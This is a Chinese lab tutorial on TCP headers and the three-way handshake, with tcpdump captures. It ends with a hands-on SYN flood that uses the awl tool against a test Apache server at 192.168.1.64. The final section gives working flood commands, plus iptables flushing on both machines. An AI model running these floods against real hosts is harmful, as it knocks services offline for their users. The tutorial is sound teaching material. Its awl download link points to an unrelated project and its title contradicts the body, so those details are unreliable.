实战-在局域网中使用 awl 伪装 MAC 地址进行多线程 SYN 洪水攻击
http://ssa.yundun.com/cc 云盾全球实时攻防图,如图 18-11 所示。
tcp 三次握手及 tcp 连接状态。
TCP 报文段的首部格式。
TCP 报文信息详解
源端口号:用亍标记主机迚程,端口号也称为迚程地址。
目标端口号:通过 16 位字节标识 0-65535 共 65536 个端口。
数据包序列号:TCP 数据分段。
确认序列号:回应序列号,一次发一批报文时候使用序列号和确认号,TCP 三次握手的第一次无确认号。
标志控制码,该字段有 6 个 bits 组成,每个 bits 标识一种含义,用以说明这个连接的状态,让接收端连接这个数据包的主要动作。
URG(Urgent):紧急位,1 标识为紧急数据包,接收端要紧急处理,且“紧急指针”字段也会被启用
ACK :TCP 协议规定,只有 ACK=1 时有效,也规定连接建立后所有发送的报文的 ACK 必须为 1
PSH(Push Function):推送位,1 表示丌传送缓冲匙,而立即把数据包发送,无需在缓冲区等待再传送。
RST(Reset):连接重置,当已建立的连接遇到意外断开时,在原有的基础上重新建立,不需要再三次握手,1 表示强制结束连接,且发送端已经断线。
SYN(SYNchronization):当此位为 1 时,表示发送端希望双方建立同步处理(要求建立连接),主动要连接到对方,在连接建立时用来同步序号,当 SYN=1 而 ACK=0 时,表明这是一个连接请求报文。对方若同意建立连接,则应在响应报文中使 SYN=1 和 ACK=1. 因此, SYN 置 1 就表示这是一个连接请求或连接接受报文。
FIN (finis)即完,终结的意思, 用来释放一个连接。当 FIN = 1 时,表明此报文段的发送方的数据已经发送完毕,并要求释放连接。
窗口大小:接收方的缓冲当中的可剩余容纳的报文个数,以及链路中的整体容纳报文的个数,0 表示缓冲器已经额满,所以应该暂停数据传输,发送一次能每多少个,取决亍接收方窗口大小。
校验和:确认校验码。
紧急指针:URG 为 1 时,指针有效,否则无效。
填充位:可变长度,多数情况不使用。
建立 tcp 连接时的 tcp 三次握手和断开 tcp 连接时的 4 次挥手整体过程,如图 17-13 所示。
实战1:使用tcpdump抓包查看tcp三次握手过程
tcp三次握手过程:
Client:我可以给你发数据吗?
Server:可以
Client:好的
三次握手的核心是: 确认每一次包的序列号。
tcp三次握手过程:
1、首先由Client发出请求连接即 SYN=1,声明自己的序号是 seq=x
2、然后Server 进行回复确认,即 SYN=1 ,声明自己的序号是 seq=y, 并设置为ack=x+1,
3、最后Client 再进行一次确认,设置 ack=y+1.
tcpdump常用参数:
-c 指定包个数
-n IP,端口用数字方式显示
port 指定端口
手劢产生 tcp 包并抓包
在xuegod63上登录xuegod64,抓取ssh远程登录xuegod64时,产生的tcp三次握手包:
# ifconfig ens38 down
# tcpdump -n -c 3 port 22 -i ens33
打开另一个终端,开始建立tcp连接:
# ssh [email protected]
The authenticity of host '192.168.1.64 (192.168.1.64)' can't be established.
RSA key fingerprint is b2:29:c8:62:98:80:92:3c:e2:67:3f:f0:7c:40:69:63.
Are you sure you want to continue connecting (yes/no)? #到这里就不用执行了,tcp已经建立连接
查看数据包:
# tcpdump -n -c 3 port 22 -i ens33
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
10:34:54.874512 IP 192.168.1.63.59528 > 192.168.1.64.ssh: Flags [S], seq 2421809005, win 29200, options [mss 1460,sackOK,TS val 2231108 ecr 0,nop,wscale 7], length 0
10:34:54.876367 IP 192.168.1.64.ssh > 192.168.1.63.59528: Flags [S.], seq 4293815945, ack 2421809006, win 28960, options [mss 1460,sackOK,TS val 542827 ecr 2231108,nop,wscale 7], length 0
10:34:54.877387 IP 192.168.1.63.59528 > 192.168.1.64.ssh: Flags [.], ack 1, win 229, options [nop,nop,TS val 2231111 ecr 542827], length 0
注:Flags [S] 中的 S 表示为SYN包为1
client主机返回ACK,包序号为ack=1 ,这是相对序号,如果需要看绝对序号,可以在tcpdump命令中加-S
# tcpdump -n -c 3 port 22 -S -i ens33
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
16:00:54.310316 IP 192.168.1.63.57528 > 192.168.1.64.ssh: Flags [S], seq 1932774705, win 14600, options [mss 1460,sackOK,TS val 5103659 ecr 0,nop,wscale 7], length 0
16:00:54.311072 IP 192.168.1.64.ssh > 192.168.1.63.57528: Flags [S.], seq 3006844046, ack 1932774706, win 14480, options [mss 1460,sackOK,TS val 3869455 ecr 5103659,nop,wscale 7], length 0
16:00:54.311175 IP 192.168.1.63.57528 > 192.168.1.64.ssh: Flags [.], ack 3006844047, win 115, options [nop,nop,TS val 5103660 ecr 3869455], length 0
3 packets captured
3 packets received by filter
0 packets dropped by kernel
TCP三次握手连接状态详解:
TCP连接状态详解:
服务器端:LISTEN:侦听来自远方的TCP端口的连接请求
客户端:SYN-SENT:在发送连接请求后等待匹配的连接请求
服务器端:SYN-RECEIVED:在收到和发送一个连接请求后等待对方对连接请求的确认
客户端/服务器端:ESTABLISHED:代表一个打开的连接
实战:在局域网中使用 awl伪装IP地址进行多线程SYN洪水攻击
SYN洪水攻击概述:SYN洪水攻击主要源于: tcp协议的三次握手机制
SYN洪水攻击的过程:
在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的客户端,那么服务端就不会接到客户端回应的ACK包。
这时服务端需要耗费一定的数量的系统内存来等待这个未决的连接,直到等待超关闭,才能施放内存。
如果恶意者通过通过ip欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未决的连接并占用大量内存和tcp连接,从而导致正常客户端无法访问服务端,这就是SYN洪水攻击的过程。
实战拓扑图:
下载地址:https://gitlab.com/davical-project/awl/tags
在xuegod63 安装awl软件进行攻击:
通过xshell上传awl-0.2.tar.gz到Linux系统中
开始安装awl
#tar zxvf awl-0.2.tar.gz #解压 #cd awl-0.2 #./configure # 查检软件包安装环境 #make -j 4 #make 把源代码编译成可执行的二进制文件; -j 4 以4个进程同时编译,速度快 #make install #安装
查看安装的命令:
# which awl
/usr/local/bin/awl
在xuegod64上搭建一台web服务器,模拟要被攻击的服务器
# yum install httpd -y #安装web服务器
# systemctl start httpd
# iptables -F
开始攻击:
实战4: 在局域网中使用 awl伪装IP地址进行多线程SYN攻击
获取对方的IP地址解析成MAC地址
[root@xuegod63 ~]# ping 192.168.1.64
[root@xuegod63 ~]# arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.1.17 ether e0:b9:a5:ac:c5:76 C eth0
192.168.1.64 ether 00:0c:29:57:f5:b5 C eth0
awl参数如下:
-i 发送包的接口,如果省略默认是eth0
-m 指定目标mac地址 注:如果-m没有指定mac,默认目标MAC地址是“FF.FF.FF.FF.FF.FF”,
FF.FF.FF.FF.FF.FF MAC地址是什么?
这表示向同一网段内的所有主机发出ARP广播,进行SYN攻击,还容易使整个局域网瘫痪。
-d 被攻击机器的IP
-p 被攻击机器的端口
两台机器:
# iptables -F
# awl -i ens33 -m 00:0c:29:57:f5:b5 -d 192.168.1.64 -p 80
测试攻击效果:
在xuegod64上查看:发现很多伪装成公网的IP在攻击我们